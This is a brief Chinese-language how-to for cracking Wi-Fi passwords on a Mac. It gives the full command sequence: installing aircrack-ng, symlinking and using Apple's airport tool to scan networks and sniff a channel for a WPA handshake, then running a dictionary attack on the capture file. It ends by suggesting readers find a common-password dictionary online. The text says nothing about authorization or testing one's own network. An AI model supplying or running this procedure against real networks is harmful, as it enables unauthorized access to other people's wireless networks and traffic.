本文主要讲解在Mac中如何使用aircrack-ng来破解wifi密码
安装
可使用homebrew或者macports进行安装
brew install aircrack-ng
准备工作
首先要用到系统自带的airport监测附近wifi信号,给airport创建一个软连接,使终端可以直接使用airport命令。
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport /usr/local/bin/airport
airport视不同版本、不同电脑,位置可能不同
开始监测附近wifi
airport -s
显示的结果中,SSID 是 wifi名称,RSSI 是信号强度,CHANNEL 是信道。
选一个信号强的信道进行监听抓包
airport en0 sniff 1
其中en0是自己电脑的网卡地址(可通过ifconfig查看),1是你所选的信道

使用aircrack-ng
运行如下命令:
aircrack-ng -w password.txt /tmp/airportSniffaVuqak.cap
password.txt为你的字典文件,/tmp/airportSniffaVuqak.cap为你上一步抓到的包
就可以看到cap文件内的抓包情况,Encryption中(0 handshake)是抓包失败,(1 handshake)则是抓包成功。
在Index number of target network ?这里输入抓包成功的序号回车,接下来会开始跑字典破解,破解成功后会显示破解出的密码。
注:一个好的常用密码字典,可大大提高破解成功率。常用字典可以自己去网上搜一下。